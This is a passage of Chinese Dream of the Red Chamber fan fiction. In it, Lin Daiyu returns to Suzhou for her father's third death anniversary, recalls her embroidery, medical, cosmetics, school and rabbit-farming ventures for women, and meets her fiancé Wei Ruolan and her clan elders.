林管家看着黛玉也悄悄拿衣袖沾沾眼角,道,“这是做什么,快迎姑娘回府。”
梅染、荼白也回过神来,忙请黛玉恢复,又吩咐雪雁她们把回去归置行李。
一行回到大厅,黛玉坐下,林管家、梅染、荼白要行礼,黛玉赶忙拦住,又让她们坐下。
几人叙过主仆情谊,林管家向黛玉说起林海三周年的事宜,“姑娘,家里一切都准备好了,请帖也都发出去,您看下,还有什么要布置的?”
林管家说着,掏出几页纸递给黛玉。
黛玉慢慢看起来,梅染、荼白出去亲自张罗午膳,想着姑娘在外面受苦了,回来后的第一顿饭一定要吃好。
黛玉还小,没操办过丧事,虽从小学礼,但也只知大概,不知要准备什么。
贾敏去世那年,林海还在,只让黛玉专心读书,什么都不用操心,黛玉只需要跟着身边人的提示做就行;三年前,林海去世,远在京城,连葬礼都没有赶上,这是黛玉毕生的遗憾。
如今,黛玉是林家唯一的主人,是他们这一脉的家主,自然该当家做主。
林管家是林海身边老人,也不至于出什么疏漏,只是想让黛玉知道该做些什么罢了。
黛玉看的时候,林管家突然一拍脑门,想起林家京城及各地的亲友已经把祭礼早早送来了,该给姑娘说一声,忙走出大厅吩咐随从去取账本。
黛玉看了一遍,都记下后,也没觉得有什么问题,便道,“我还小,也不懂这些,就林叔的安排来。”
林管家道,“好”,递上随从拿过来的账本,“这是各家送来的祭礼,因着太远,都早早送过来了。”
黛玉接过,翻着看,“贾家、张家、卫家、王家、沈家、李家、陆家、宋家……”
林海葬礼因着太过突然,好些人因离得太远未来得及;这次三周年,林海旧友、黛玉姐妹来不了的都算着时间,早早送来了祭礼;能来的也早早出发,或准备起来。
黛玉问道,“送过来的下人都怎么安排的?”
林管家道,“给了赏钱,安排在了客院,都说要替主家给姥爷上一炷香。”
黛玉点头,表示知道了,又开始翻起来。
上次,贾琏还趁着公干的东风来了,这次却无暇来苏。
林管家问道,“贾家老太太还有各家太太、姑娘们给姑娘写的信给您在书房放着,姑娘要见见各家下人吗?”
黛玉想了想,“算了,让他们先歇着吧,待明日一切毕了,我一起见。”
说着,梅染进了大厅,道,“姑娘,午膳准备好了,先去用膳吧。”
林管家道,“看我,姑娘一路车马劳顿,先去用膳吧,用完膳好好休息休息,有我们在呢。”
黛玉听了很是感动,都说人心易变,可林管家、梅染、荼白她们待林家、待她却数十年如一日。
虽说是主仆,可情感上更像一家人。
这几年她在守孝,林管家他们兢兢业业的打理着林家,账本一月一送,大事也找她做主,没有丝毫逾矩。
一行人前往餐厅,黛玉让梅染、荼白、林管家、雪雁她们也一起入座,林管家、梅染、荼白坚辞,拗不过黛玉的坚持,还是同意了。
主仆几人也算吃了一顿团圆饭。
午膳后,林管家、梅染、荼白他们继续去处理第二日林海三周年的相关事宜。
黛玉在丫鬟们的陪伴下回了院子。
站在从小长大的院子里,黛玉看着一如往昔的装饰,一切都还是父母在时的样子。
也许是她离开的太久,也许是父母离开的太久,黛玉只觉得一阵陌生。
雪雁看黛玉愣在院子里,想着一路车马劳顿,回来又了解事情,姑娘该是累了,赶忙上前道,“姑娘可是累了,今日午歇会儿。”
子规忙吩咐远离的小丫鬟准备起来。
黛玉回过神道,“好。”
进了屋子,黛玉在丫鬟的伺候下卸下发髻,躺在阔别已久的卧床上睡了。
黛玉本以为会睡不着,结果很快睡着了。
一觉好眠,醒来的时候已经过了申时,只有雪雁在床前守着。
雪雁看黛玉醒了,“姑娘休息的怎么样?”
黛玉笑道,“好多了。”
雪雁道,“看来还是自己家好,姑娘睡得好多了。”
黛玉笑笑,在雪雁的伺候下洗漱,去书房读信。
外祖母的、舅舅的、表嫂王熙凤的、表婶的、老师的、孔姨的、张阅的、楚楠的、穆姨的、陆沅的,还有卫若兰的……
黛玉大概知道外祖母写的都是想她、关心她,要她好好照顾自己,过了孝期赶紧回京的话语;但想了想,黛玉还是先打开了外祖母的信,果不出黛玉所料。
倒不是黛玉有读心术,这两年贾母几乎两个月派一批人下姑苏,带着贾母给黛玉准备的吃的、用的、玩的和一封信。
黛玉是贾母小女儿留下的唯一骨血,贾母只想把小姑娘放在眼前,如眼珠子般看着,护着她长大、嫁一良人、生一双儿女,无病无灾的过一生,舐犊情深不外如是。
黛玉是贾敏、林海唯一的女儿,想要在故土为父母守孝也无可厚非。
这是黛玉与外祖母的矛盾,可这不影响贾母疼黛玉,即使黛玉没有按着她的想法做,知道不好改变黛玉的想法,也每两个月送东西给黛玉,要人来接黛玉,唯恐黛玉过得不好;即使外祖母不支持她去做一番事业,不支持她独自守孝,也不影响黛玉亲近外祖母。
黛玉明白一切都出于外祖母对她的爱护,外祖母是她在世上最亲的人,所以,黛玉愿意一次次的向外祖母解释,愿意一次次的应付贾母派来的仆人,丝毫不敷衍的写信告诉外祖母她都做了什么,每次亲自带人收拾好南方特产和亲自做的抹额送给外祖母,承诺出孝就回京看她,不让外祖母太过担心。
放下外祖母的信,黛玉又想起父亲留下的信。
林家的一切对黛玉而言,不外乎小儿捧金于世,可若没有这一切,黛玉只能投亲,仰人鼻息,未来如何只能靠别人的良心,即使留下丰厚的嫁妆,也不一定能保住。
如此,林海索性把林家的产业、人脉都交给黛玉,即使以后遇人不淑,黛玉手中掌握的一切也能保黛玉一身无忧,或让黛玉拼一把。
林海知道,黛玉即使这几年和姐妹们折腾群芳会,也赚了些钱,但骨子里还是不重视黄白之物,所以,在信中一次次叮嘱黛玉不要轻信他人,要把一切握在自己的手中,给自己留些后手。
这也是黛玉为什么不直接用林家产业去发展群芳会的产业。
黛玉不在乎金钱,但林家的一切是父亲留给她最后的护身符,是父亲的一番拳拳爱女之心,她不能辜负。
黛玉深吸一口气,压住信中滚动的情绪,拆开下一封信。
长辈的信除了关心黛玉,就是要黛玉等林海三周年后快点上京;姑娘们的多是最近发生的一些事情,遇到的比较难言的事情,再就是,她们出京多已经快到三年,期待姐妹们能在京城聚首。
卫若兰信中说,已请好假,已经在来姑苏的路上了。
这两年,卫若兰只要休沐就写信给黛玉,黛玉回信,两人多次通信,她敬他愿以身百姓的志向,不轻看女子的品行,敬他郎朗君子,喜他才貌双全;他怜她失去父母,爱她文采灼灼,爱她孝顺父母,敬她明明都有,却愿意为受苦难女子努力的赤忱……
他们相隔两地,各有理想与坚持,可他们的信却因为一封封信,慢慢贴近。
黛玉知道,这次回京,他们该成亲。
或许,他们还未相爱,但他们却相信未来不会相负,都愿意携手走过这一生。
这两年,姐妹们散在各地,只每年几封信能知道各自的境况,黛玉也只与素心来往密切些,素心有时间就前往姑苏看望黛玉。
当然,黛玉这两年都在守孝,但也没有只守孝。
后来,黛玉想到苏绣在京城格外受欢迎,在外地肯定也受欢迎,便拿出一个庄子,让含霜找了一批绣娘,又散出去消息,招绣娘,江南各地有困难的女性自会找过去,学苏绣,绣了绣品,送往京城,送给襄城的宋静、南疆的杨梧她们,让她们在当地售卖。
黛玉也把绣娘们画的新花样寄给散在各地的姐妹们。
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只要她们找过去,哪怕不适合刺绣,素心、黛玉也会想办法给她们找好其他出路。
这样,黛玉她们不管售卖,只要绣娘绣了绣品,送出去让别人售卖,虽然赚的少些,但她们花的功夫也少。
后来,除了来回路费、刺绣成本,挣得银钱直接给绣娘五成,其他的又投入绣庄。
当然,黛玉给绣娘们钱多的前提是,绣娘们教投奔绣庄的姑娘们刺绣。
想着绣庄的绣娘多是孤家寡人,姑娘们也大多没有亲人依靠,黛玉拿出一部分钱,让林管家买了块地,仿着京里群芳女学的样子盖了房子,道绣庄以后给绣娘们养老,这以后,绣娘更卖力了许多。
看着绣庄的绣娘挣了钱,绣庄还给养老,江南境遇不好的绣娘纷纷来投,绣娘多了许多,又教出更多的姑娘,绣庄越发兴盛起来。
好在,绣庄没有直接开铺子买绣品,而是拿给刺绣铺子、绸缎庄售卖,或销往外地,不然,绣庄怕要遭遇好些针对。
陆青黛本想着年后南下找黛玉,只是京里有许多要安排,拖延了时间;还未待安排好,张阅也成婚离开了京城,京里实在缺人,便未能成行。
幸运的是,黛玉身边的逢春、素影、素晖是正心堂的第一批女学徒,妇科方面也早已出师。
黛玉考虑,林家也有医馆,这也不是非得群芳会才能办,便让林管家把逢春、素影、素晖几个安排去医馆做医女。
开始,医馆负责的老大夫只让她们打杂,后面逢春几个救了一个难产的妇人,母子平安,一传十,十传百,慢慢的名声就传了出去。
慢慢地,就有妇人专门来医馆招逢春几个。
逢春几个忙不过来后,就开始招学徒。
还有姑娘因家里娘亲难产而死,后来又有了后爹,过得格外艰难,知道林家医馆招医女就自己找了过来,想着不让别的孩子落到她的境地。
有时,扬州大户人家也派人来求医。
医女培养出来,人手充裕了,黛玉在村里住了些时日,却也知道村里怎样的缺医少药,还有人求到黛玉这样,便让医馆安排大夫带着学徒和医女定期去各村里义诊。
素心知道医馆走上正规,也写信让黛玉派几个医女过去,安排扬州齐家交好的医馆里,医女的好处慢慢显出来,别的地方知道后,也纷纷效仿,自觉培养起医女,还有医馆到林家的医馆求教。
江南这地方养人,也不缺各式各样的脂粉,黛玉便没想着在姑苏开。
倒是素心在京里的时候多管群芳脂粉,后来听扬州边上有个村子遭了灾,生活困难,便拿了嫁妆银子去帮他们先度过困难,派人教她们种花,安排好各家种什么花,种多少,承诺到时候派人来收。
村民们虽想着不太靠谱,可念着素心给了他们粮食,帮着他们度过难关,也咬牙种了,种的还很用心。
后来,素心也没有亏待她们,给的价格比种粮食还划算很多。
周边村子的村民看着他们种花挣了钱,也留出一些地来种花,素心看品相不错,也就都收下了。
至于做胭脂的人手,素心特意找了无家可归的女孩来做,若遇上有困难也都收留下来。
虽然中间也有起坏心的,可到底知恩图报的多些,让阴谋毁在未开始时。
两年多时间过去,扬州的脂粉铺越来越大,产量越来越高,素心还给周边城市的脂粉铺、各地的姐妹们供货。
江南不愧鱼米之乡,姑娘、太太们用了觉得比她们往常用得好,也不管价格,一买就是十几盒,全家老少都够用了;城里家境殷实的人家,姑娘攒了零花钱,也愿意咬咬牙,在群芳脂粉买盒她们家便宜的脂粉,省着用。
脂粉铺赚了钱,黛玉、素心留足周转的,就用到正心堂和女学,南疆、北疆困难,还能支援些。
素心、黛玉她们在江南各地办女学多亏了脂粉铺提供银两。
城里学院很多,素心、黛玉就把目光放在乡下,十里一座,但有的地方村民不愿意女孩读书,黛玉出了个注意,不妨建两座学院,一座女学,一座男学,想要男学,就必须同意女学。
男学先生的话,可以让素心丈夫的齐俨去找公公江南知府,让当地秀才去当先生,就算江南文风鼎盛,多些学堂,让乡下孩子读上书也是政绩,他们不可能不同意。
果不其然,齐俨去一说,他爹就同意了。
女学的先生黛玉、素心找了林家女学的学生,其中就有甄英莲。
这么多年过去,林家女学毕业的姑娘可不少,愿意去教学的也不少,哪怕她们自己不方便,也派了身边识字的丫鬟或嬷嬷过去。
乡下男孩、女孩都缺书读,他们不让女孩读,可不是不知道读书的好处,一听能建男学,还是秀才公当先生,便立马妥协了。
只是,有的家长不忿女孩读书,下了学就让她们死命的干活,先生去家访,劝了也白劝。
好在,姑娘们都知道上学的机会难得,哪怕家里磋磨,也坚持苦学,坚持到毕业,认了字、学了手艺、懂了道理,以后不管怎样,日子都差不了;遇到怎样的磨难,都能撑过来。
楚楠说的女报,黛玉考虑了识字的多是富家姑娘和男子,办了女报,又有多少女子能看到了呢?便先按下了,打算待女学再办几年再说。
黛玉给楚楠去了封信,楚楠听了,觉得自己太急了,必须慢下来,稳下来。
不过,黛玉在心里还给楚楠提了一只兔子,楚楠大喜,忙回信道北疆苦寒,将士日子都不好过,让黛玉想着她们。
40.第四十夜
黛玉初入村里的时候,看见了一只兔子;丫鬟们为了给黛玉解闷,吩咐仆从去捉了一窝兔子回来养着。
没想到,不过一个月,一窝兔子就多了五六倍,让丫鬟们目瞪口呆,黛玉敏锐的觉得这是一条致富路,兔毛可以做披风、坎肩保暖,兔肉可以吃,兔子还生的多,可比养鸡、羊之类的动物划算多了。
黛玉自己不甚懂饲养的事情,当即写了一封信给林管家,让他帮忙找大规模饲养兔子和鞣制兔毛的办法,再找几个养兔人,又让林管家派人找找有没有饲养和皮毛鞣制相关的书籍。
不过,黛玉也没有寄希望于林管家,让雪雁几个去村里问问,看有没有人会养兔子;又去信给群芳会的姐妹们,让她们帮着找。
黛玉自己也养了几只观察着,和楚楠写信交流养兔心得;楚楠自上次听了黛玉说了兔子的事情,也一直想着养兔有关的事情。
别说,还真让想起她了一些,楚楠写了信告诉黛玉。
虽然来回时间久了些,到底用上了。
黛玉让丫鬟去村里问,还真没听谁家养兔,村里的兔子大都是买来的,或者去山里逮到的,养也就一两只。
因着大规模养殖容易出现瘟病,村民很少会大规模养什么动物,一家养鸡、鸭、鹅这些动物,多的也就二十来只,少的两三只。
黛玉听了,也无处下手。
很少人大规模养殖过兔子,她暂时也找不到养过的人。
但要是出现瘟病,就不是小事,甚至可能危及周围百姓的生命。
她想要养兔子,是为了改善姑娘们的生存环境,改变百姓的生活,如果这些会危害她们,那她宁愿放弃。
如果不能妥善解决瘟病,养兔这个主意怕只能放弃。
黛玉思考了很多时候,还是楚楠的来信解决了。
楚楠关于兔子饲养写道,“不能冻着、热者、饿着、渴着;要保证草料新鲜,定时定量喂养;要在适当的时间配种、接产、喂奶、断奶;要全面防病,要定时打扫卫生,把病毒隔绝在兔圈外”;“刚生产的母兔不能和公兔在一个笼子或圈里,要让兔子尽量少食多餐,人工制作的饲料和草料要同时使用,切不可乱用药物”;又建议黛玉可以找大夫或兽医问问兔瘟怎么防范,最好请一个兽医做指导;又说兔子可以“圈养、放养、笼养、洞养”;又建议黛玉可以根据吃肉和用毛选择不同的品种。
黛玉看了如获至宝,好好收起来,尽管写的不甚详尽,她也不太懂;但林管家要是找到专门的养兔人来肯定能懂。
黛玉提笔写信要林管家在留意一下兽医或者会给家畜看病的大夫;又写信要素心也留意。
至于皮毛鞣制倒没什么难度,林家也有皮毛鞣制的方子,油鞣、硝面鞣等方子都有,到时候直接用就好。
找了多半年,林管家才找到合适的养兔人和兽医。
黛玉见过后,就把楚楠给的养兔小技巧抄了给了他们一份,便让林管家安排她们去林家的庄子上尝试。
不过,养兔是群芳会的产业,黛玉从群芳会的账上支一笔钱,买了那个庄子,庄子上的一切开销也由群芳会负责。
黛玉这次倒没有从外面招人,只让含霜在绣庄选了不适合的刺绣的人过去养兔,绣庄确认再从外面补。
兽医、养兔人带着她们尝试了许久,花了一年多才掌握大规模养兔、防瘟的办法。
楚楠知道能养兔后,吃货之魂爆发,忙给黛玉写信,给黛玉写了烤兔、卤兔、兔肉的十八种吃法;还建议黛玉开个铺子,直接杀兔卖,按斤卖;或者直接把杀好的兔肉卖给酒楼。
她们可以留下兔皮鞣制制衣,买家也省很多事,算双赢。
黛玉觉得好,吩咐下去实行,用卖肉的钱盘了几个铺子,一家卖肉,一家卖烤兔,一家卖卤兔,一家小饭馆,炒兔肉、炖兔汤。
要是客人吃的好,路过肉店还会买点兔肉回去自己做着吃,或者直接买了烤兔、卤兔,回家吃。
到今日,已经卓有成效,光养兔的姑娘就有百来人,更不用说各处卖肉的。
楚楠还给黛玉写信,若有兔子毛比较长,可以一直养了,只剪了兔毛,清洗过后,纺成线,直接制衣,可能穿着更方便保暖些。
黛玉觉得可行,便吩咐下去,让下面的人自己研究,只是还没有成果。
黛玉看着信,想着这两年的种种,恍然父亲已经离开三年,母亲已经离开六年了,已经过了这么久,发生了这么多事情。
她也快要离开姑苏了,且归期未定。
黛玉突然想去父母的院子看看,找寻父母的温度。
黛玉出了自己的院子,慢慢走向父母的院子。
这条路,父亲、母亲、父亲和母亲都陪她走过无数次,如今只剩下她一个人了。
雪雁看着黛玉出了院子,赶忙追上去,看着黛玉走向主院,开始放慢脚步,远远跟着。
黛玉进了院子,院子还保留着林海离开时的样子,早先贾敏身边的丫鬟月白这么多年依旧带着几个小丫鬟,守着贾敏生前的院子,看黛玉来了,赶忙上前,“姑娘回来了。”
黛玉道,“月白姐姐,我来看看娘亲和爹爹。”
月白也看着黛玉长大,很关心黛玉,问了几句,就带黛玉进去了。
走入正厅,灵堂还摆着,正中央挂着两幅图,一副林海的肖像画,一副贾敏的肖像画,他们夫妻一世恩爱,死后,又以另一种方式在他们生活过得院子团圆。
黛玉无数看过这幅景象,可每次看了都不由难过。
或许,有些痛,岁月是洗不去的。
黛玉上前,拿起三炷香点燃,举香三鞠躬,跪下查到供桌上的香插上。
供桌除了蜡烛、香插,还有各色水果、点心,十分新鲜,想来是长换的,黛玉看了不由放心起来。
黛玉起身,三拜九叩就离开了。
出了院子,黛玉心中压着的巨石仿佛摞开了。
那个院子有太多他们一家的回忆、欢喜和悲伤,让黛玉不忍久待。
离开主院,黛玉就去了祠堂。
尽管这两年多黛玉一直每日都去坟前陪着父母,可到了祠堂,还是有说不完的话给父母。
黛玉在祠堂待到夕阳西下才离开。
黛玉出去的时候,雪雁在门口等着。
雪雁看见黛玉,忙走上前扶着黛玉,“姑娘这是跪了多久,老爷夫人看了指定会心疼。”
黛玉已经过了别人提起父母会难过的时候了,有时候她反而喜欢身边提起父母,仿佛他们从未离开,黛玉道,“没事,回去歇歇就好了。”
雪雁也知道黛玉无大碍,还是小心扶着黛玉,回了院子,赶忙让小丫鬟弄了热帕子,给黛玉敷着。
林管家也听了黛玉去祠堂的事,直接吩咐厨房把完善送到黛玉院子。
黛玉用完晚膳,就被雪雁几个压着洗漱、沐浴、热敷、泡脚;想看会书,又被劝着早早休息了。
不过一日下来,黛玉也确实累了,躺床上不久就沉入梦乡了。
丫鬟们倒没休息,忙着给黛玉选除服后穿的服饰。
林管家早按着当年出贾敏孝期时林海的吩咐,又跟着最近的流行,让绣房给黛玉赶制了各色衣服,又打了几盒子首饰,黛玉儿时带的金银首饰看着旧了的,也拿去炸新了。
丫鬟们看着黛玉衣橱的新衣和首饰盒的首饰,铆足了劲要好好打扮黛玉,配了好几套衣服,只待明日黛玉回来选。
卫若兰考虑家里来信准备要他们成亲,又想着林海三周年,算着时间请了假。
一路日夜兼程,策马奔腾,赶着九月初二进入江南,九月初三到了姑苏。
卫若兰这次到了姑苏倒没先去梳洗,直接带着行礼到了林家。
卫若兰进城的时候卯时刚过,到林家时还不到辰时。
巧合的是,值守的门房还是当年卫若兰遇到的那几个,认出是自家未来姑爷,赶忙迎卫若兰进府。
林管家得了消息,一边出来迎,一边让人去通知黛玉。
林管家与卫若兰见过礼,见卫若兰一身风尘,想也是为了老爷周年一路赶路,十分感怀,忙带卫若兰去客院洗漱。
待卫若兰洗漱,换了身孝服出来,黛玉已经在大厅等着了,卫若兰见黛玉,连忙作揖道,“妹妹晨安。”
黛玉也起身回礼,“世兄晨安。”
卫若兰看着黛玉出落愈加出尘,只是眉间带着些许轻愁,不免有些心疼,可丧亲之痛,又岂是言语所能化解的,只道,“妹妹有事,尽管吩咐愚兄。”
黛玉同样看着卫若兰,几年军旅生涯,磨炼的卫若兰越发英武,如一把锋芒毕露的宝剑,再不复初见时仙郎的样子。
常人见了敬佩,坏人见了胆寒,亲人见了却像他所受的苦难,黛玉亦如是。
黛玉听了回道,“林叔都安排好了,我也昨日才
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回府。世兄连日赶路,不妨先休息会。”
卫若兰知道黛玉关心他,解释道,“我昨日休息过了,不打紧。”
两人聊起近况,卫若兰知道了黛玉这些年做的,连连赞叹,“妹妹不让须眉,实在让愚兄汗颜。”
黛玉道,“妹妹不过尽己所能,比起世兄出生入死、保家卫国,实在不算什么。”
卫若兰道,“妹妹谦虚了。比起妹妹,我不过匹夫之勇。林叔和敏姨一定会为妹妹骄傲。”
黛玉目光灼灼的看向卫若兰,“会吗?”
黛玉不由想起更小的时候,父母看向她担忧的眼神,她后来明白,父母怕她慧极而伤,担心她的才智没有地方施展而难过。
卫若兰看向黛玉眼中的期待,坚定道,“会,你很好,是很优秀的人,比绝大多数男子更优秀。”
卫若兰是男子,从小到大,因男子受了多少便利。
尽管在他们家,都宠着妹妹,他也一直帮妹妹做想做的事,帮妹妹满足心愿,可天然,他们就不一样。
他可以继承卫家的一切,或者,卫家是他的;妹妹注定要嫁出去。
尽管,妹妹不愿意,他可以养妹妹一辈子,让妹妹做想做的事情,可妹妹不会开心,世俗的眼光足够逼疯妹妹,父母也不一定会同意。
直到有一天,他遇到在县衙遇到了林家妹妹,她们帮着被折磨的妇人和离。
他看着只觉得真好。
那天的她熠熠生辉,人群中,他只看得见她。
后来,他鼓励了妹妹。
妹妹仿佛有了目标,即使被赐婚三皇子,也积极准备,没有因为盲婚哑嫁而反抗,平常不似他宠到大的妹妹。
她知道,妹妹肯定有别的打算。
不过,他选择缄默,也没有探听。
黛玉听了,好似曾经压在她身上的东西不见了。
她是一个优秀的人,在她是女孩之前,她是一个人。
女娲造人,有男、有女,将人分为了男人、女人,可后来人却忘了人,只记得男人、女人。
男人、女人从一样的、分工不同的人,渐渐从左右之别变成了上下之分,男人居上,女人居下。
可凭什么?凭什么她们只能困在后宅,为男人所制,以男人为中心活着?
她想,她是幸运的,遇到了他。
他也是幸运的,遇到了她。
她和他都有点离经叛道,却恰巧遇到了彼此,定了鸳盟。
好似,她们是为彼此来的。
两人聊着,丫鬟来报早膳好了,请她们去用早膳。
早膳用毕,两人又聊起别的。
不一会儿,林家族人、亲戚一一来了。
黛玉和卫若兰在府门口迎客。
后来,林家族人来帮忙,卫若兰去待男客,黛玉去待女客。
长辈们都知道自林海过了百日,黛玉一直住在村里,每日去扫墓,一边气恼黛玉自苦,不顾惜身体;一边羡慕林海、贾敏有个好女儿,赞叹黛玉孝顺,拉着黛玉又恼又喜,连连叮嘱黛玉好好保重身体;想着和黛玉一起待客卫若兰,想着出了孝期,她们该成亲了,又叮嘱黛玉成亲的注意事项,叮嘱她们好好的。
来的客人看着迎客的、一身孝服的黛玉和卫若兰,只感叹良缘天成,感叹黛玉幸运,感叹卫家仁义。
到了午时,所有宾客都到了,众人带着各种祭品、花圈来到林海坟前。
有人折柳插在坟头,有人抱臂长啸,有人引吭高歌,有人弹琴奏乐,送别故友。
一行人上香、叩拜,祭拜完成后,到了吉时,为林海、贾敏夫妇立碑。
墓碑上刻着“先考林海大人先妣贾敏孺人之墓女林黛玉泣立”。
立碑仪式结束后,黛玉、卫若兰三拜九叩祭拜父母。
众人离开,回到林府。
女眷们已经准备好除服仪式,黛玉一行到了主院,黛玉、卫若兰脱下孝服;又去旁边的屋子换了新衣,来灵堂烧纸、上香、叩首。
除服仪式结束后,林家长辈招呼宾客去参加筵席,带着黛玉、卫若兰给宾客敬酒。
待筵席结束,林家悬挂三年的白色撤下,贴着的白对联都以撕下,换上红联。
因着距离较远,筵席散后不久,宾客纷纷告辞。
黛玉、卫若兰在府门前行礼致谢。
如云的宾客散去,只剩下黛玉、卫若兰和素心夫妇。
41.第四十一夜
黛玉本想着过完年再返京,但齐俨来年要参加春闱,外祖母再三邀请,卫若兰也多年未回京,黛玉便决定与他们同行。
几人商议过后,决定十月启程。
素心、齐俨夫妻急着归整行李,待了两日便回了姑苏。
守孝结束,黛玉也好出门了。
半个月间,黛玉在林管家、卫若兰的陪伴下去遍了林家在江南的庄子、店铺,又顺路去了各地的群芳女学、绣庄,还有兔子养殖庄子、兔皮鞣制工坊。
黛玉看过还算满意,赏了管事和小工们,又对现有缺漏提出了新建议,一切都还算圆满。
只是,以后怕很少有机会回姑苏了,黛玉也在考虑江南的产业怎么办?
这些都是祖产,或者林海夫妻在江南这些年置办的,留给黛玉的嫁妆,找合适的托付过去,可一大笔财产,谁能保证人心不变呢?
兑出去,黛玉又不舍得,毕竟,是父母留给她的。
黛玉身边的丫鬟倒都信得过,尤其是四个大丫鬟,八个二等丫鬟,这几年跟着从南到北,又从北到南,又别黛玉放出去各处历练,都能独当一面,只是年龄太小。
更何况,这些年她们一直陪着她,耽搁了年龄,最大的逢春已经二十了;如今她出了孝期,快要成亲,她们的亲事也该张罗起来,不好一直耽搁下去,倒不能让她们单独留在姑苏。
晚上,黛玉向林管家、梅染、荼白提起这件事,林管家沉吟片刻道,“族里也有做生意的,不若托付给族里,到时候给些分成,惠及族里,姑娘再给族学捐二十亩地,或者请几位好先生,供养公子姑娘们读书,小辈有了出路,族里肯定对姑娘的托付上心。”
梅染提起,“月白一直在老宅守着,到时候可以让她做个监督,姑娘也可以托付表小姐关照些。”
黛玉想了想,也没有更好的办法,她也不是没想过托付给老仆,可不是所有都是林管家、梅染她们,又天高皇帝远的,有些事情不好处理,林家族里因着人丁稀少,倒也算团结,只要地契什么的都在她手里,银钱给族里些,倒也没什么。
黛玉点头道,“好,那明日林叔陪我去趟族里,拜访五爷爷和族长叔叔。”
林管家下去就给林家五太爷林樾和族长林淳写了拜帖,送过去。
黛玉祖父那一辈,林家共林松、林柏、林彬、林枫、林樾五个男丁,林老侯爷林彬排老三,族长是老大林松,如今只剩下最小的林樾还在世;如今,林家的族长是林松的长子林淳,是林海他们那辈的老大,考了举人后并未出仕,主管族里的事情,平日也在林家族学、林家女学当夫子。
林家男丁少,女儿更好,每每有了女儿都如掌珠般养大,倒也没有女子无才便是德的想法,一贯让姑娘和儿子一起读书,也就前些年林海请了先生给姑娘们上课,才送了姑娘去林府念书;后面林家父女离开姑苏,林家女学搬到了林家族学旁边,便也就让姑娘们一直读了下去,直到成亲才离开学堂。
姑娘们都嫁的不远,一个城里,闲时还去女学给孩子们上课,这两年去看黛玉,听黛玉提起绣庄、女学和兔子养殖的事,也都积极帮忙。
甄士隐后来去了林家族学、林家女学坐馆,英莲也跟着父亲去林家女学读书,和林家几位姑娘交往,常去林家玩,后来更是嫁给林灵的兄长林烁,现也在林家女学做女先生,林烁考了秀才后无意再考,在林家族学当先生,夫妻两个志同道合,琴瑟和鸣,过得十分和美。
夜里,几个丫鬟们陪着黛玉规整东西、收拾行李的时候,黛玉问起丫鬟们未来的打算,纷纷要陪着黛玉。
她们从小陪着黛玉一起长大,虽是主仆,黛玉待她们如姐妹般,她们对林家和黛玉也有归属感,想要一辈子陪着黛玉;后来,黛玉接连丧父丧母,她们更是没有心思想别的,只想陪着黛玉;加上,她们跟着去群芳会,见多了婚后的满地乱麻,更不想成亲。
黛玉道,“别不好意思,你们以后要遇上了,来找我说,我给你们准备嫁妆。”
丫鬟们纷纷答应。
主仆说说笑笑,夜就深了。
第二日一早,黛玉、卫若兰、林管家一行带着礼物去了林家族里。
林家现在有四房,多是一脉单传,只有四房人丁兴旺些,木字辈有两个男丁,水字辈三个男丁,可到了黛玉这一辈,只剩四个男丁,四个姑娘,黛玉的弟弟还夭折了。
其他三房都是林侯兄弟的后人,到林海已过五代。
林侯这一脉五代单传,到第六代林海这,有了姑娘,又有一个儿子,本是喜讯,谁知,只剩下黛玉。
前朝的时候,林家也曾显赫过,后来一朝落败,歇了仕途之心,辞官带着家人回了老家姑苏桃花村,办了族学,教村里小孩读书,也收周边慕名求学的学子,林家族学在姑苏名声很好。
林家子嗣后来从未出仕,只考了举人回族学教学,这也让人丁稀少的林家在村里一直备受尊敬。
一代代下来,过了百年,林家还出了几个名满天下的大儒;林家也从朝堂败归的“败家犬”成了姑苏望族。
说到底,林家当年也不是犯了什么大错,不过是为官清正,又一不慎,被政敌算计,才遭贬谪。
后来,乱世来了,初代林侯林宁不顾家人阻拦,离家参军,因读过书,在军里当了军师,屡出良策。
天下大定后,林宁受封“文信侯”后,立马告假回了桃花村。
十余年未曾归家,林家还以为林宁已经去世了,见他平安归家,又封了侯爵,自是喜出望外。
他们虽然埋怨林宁多年渺无音讯,可也知道战争时的苦处,只高兴孩子回来了,想着孩子受了许多苦。
林侯看着破败的家里,年迈的兄弟,和去世的爹娘,只觉如梦初醒。
他后悔了。
子欲养而亲不待,他只能补偿在兄弟和侄子们身上。
林侯找人修了祖宅,又在姑苏城里买了同在一条街的四座院子,想着兄弟四个以后也能团聚,只可惜,天不遂人愿。
林侯一脉常年在京城、各地为官,林家其他几房都留在姑苏,教书、从商的都有,但门风清正,很少出仕,只是有林侯庇护,虽未让他们如贾史王薛一样上护官符,但也能让他们不受人欺凌。
至少,在姑苏的地界儿没有人不长眼的仗势欺负林家。
百来年过去,林侯留给自己的院子,经过一次次的修缮已经成了姑苏有名的院子,旁边的三家林宅自然逊色许多;如同林侯一脉和姑苏林家一脉,血脉早就疏淡,加上两家差距越来越远,分割两地,多年难得一见,虽彼此惦念,到底生疏。
再次亲近起来,还是林海、贾敏当初回姑苏守孝,安葬父亲,后来又安葬母亲,林家族人多有帮忙;林海感怀于心,投桃报李,给林家族学捐了银钱、田亩,还费力请了好老师坐馆,自己闲时也去给族里的孩子讲学。
族里帮忙,林海投桃报李,搬入京城的林家人和留守姑苏的林家人又亲近起来。
如今,林海一脉只剩黛玉一个孤女。
林家族里不管怎么想,都没有过趁火打劫的动作,还在父母丧事上帮忙良多,黛玉都念他们的好,愿意相信他们,也愿意让出一部分利,让族里更好。
不一会儿,林黛玉一行就到了林五太爷府前,五太爷的儿子八老爷爷林深、媳妇估摸着时间已经到了门口等着。
见黛玉来了,忙迎上来,几人行礼厮见,客套间到了厅堂,五太爷、族长已经等着。
黛玉、卫若兰缓缓步入厅堂,行礼道,“见过五爷爷,五奶奶,大伯父、大伯母。”
林管家、林深夫妇随后。
上首的两位老人看着迎面走来的少年少女,好似看到了当年的林海、贾敏,连忙道,“好孩子,快起来。”
林五太爷她们也都见过卫若兰,也知道黛玉将要进京,这些日子正忙着呢,今个想必有事。
几人闲叙几句,林五太爷便问道,“玉儿今儿个怎么来了,五爷爷也知道你最近忙着呢?”
黛玉感动,在丫鬟的指引下坐下道,“五爷爷,大伯父,玉儿确实有事求你们。”
林五太爷笑着道,“玉儿有事尽管说,你这些叔叔伯伯、堂兄弟们都在呢。”
黛玉说道,“五爷爷,我下个月就要去京里了。”
五太夫人张嘴道,“怎么这么突然?”
